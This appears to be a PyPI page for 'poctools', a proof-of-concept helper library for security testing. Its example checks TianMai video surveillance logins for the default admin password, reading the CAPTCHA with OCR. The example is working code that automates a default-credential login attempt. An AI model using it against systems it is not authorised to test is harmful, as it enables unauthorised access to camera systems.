Skip to main content

poc common tool library

Project description

poctools

install

pip install poctools

example

from poctools import BasicPoc
from poctools.encrypt import md5
from poctools.ocr import new_number


class TianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):
    jsessionid_uri = "/login.jsp"
    login_uri = "/j_login.auth"
    verify_code_uri = "/jsp/common/validateCode.jsp"

    def __init__(self):
        super(TianMaiNetworkVideoSurveillanceWeakCipherPoc, self).__init__()
        self.name = "天迈网络视频监控弱密码"

    def verify(self, url: str) -> bool:
        jsessionid_response = self.get(url + self.jsessionid_uri)
        if jsessionid_response is None:
            return False
        payload = {"j_apptype": "1", "j_username": "admin", "remember-me": False}
        while True:
            verify_code_response = self.get(url + self.verify_code_uri)
            if verify_code_response is None:
                return False
            code = new_number(verify_code_response.content)
            if len(code) != 4:
                continue
            payload.setdefault("validateCode", code)
            payload.setdefault("j_password", md5("admin" + code))
            login_response = self.post(url + self.login_uri, data=payload)
            if login_response is None:
                return False
            return login_response.status_code == 200 and "验证码有误" not in login_response.text


if __name__ == '__main__':
    target = "http://127.0.0.1:18080"
    tp = TianMaiNetworkVideoSurveillanceWeakCipherPoc()
    result = tp.run(target)
    print(f"{target} -> {result}")

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

poctools-0.0.1.tar.gz (3.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

poctools-0.0.1-py3-none-any.whl (5.2 kB view details)

Uploaded Python 3

File details

Details for the file poctools-0.0.1.tar.gz.

File metadata

  • Download URL: poctools-0.0.1.tar.gz
  • Upload date:
  • Size: 3.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.8.1 pkginfo/1.7.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.2 CPython/3.9.7

File hashes

Hashes for poctools-0.0.1.tar.gz
Algorithm Hash digest
SHA256 6ec03f5f799ef3e571b05a84c68a7b998079ca0abab9ee6dd56a179d5c1a367a
MD5 062b04a670b3143aca8db49ff4c57ecf
BLAKE2b-256 c9d48cf78a96d2e250925db919f1dbd53d19b8a87145155647d9d5d68820fd5b

See more details on using hashes here.

File details

Details for the file poctools-0.0.1-py3-none-any.whl.

File metadata

  • Download URL: poctools-0.0.1-py3-none-any.whl
  • Upload date:
  • Size: 5.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.8.1 pkginfo/1.7.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.2 CPython/3.9.7

File hashes

Hashes for poctools-0.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 1030135e7f12329f3e5252a75fe63ba00e01e50a63d9b055f87fe61bb900f791
MD5 2bc9809ed907ce1da7dad688f03a70b8
BLAKE2b-256 7b0c224e915730a061348cfacdfc6579e74dec974147bcde16929554288956c6

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page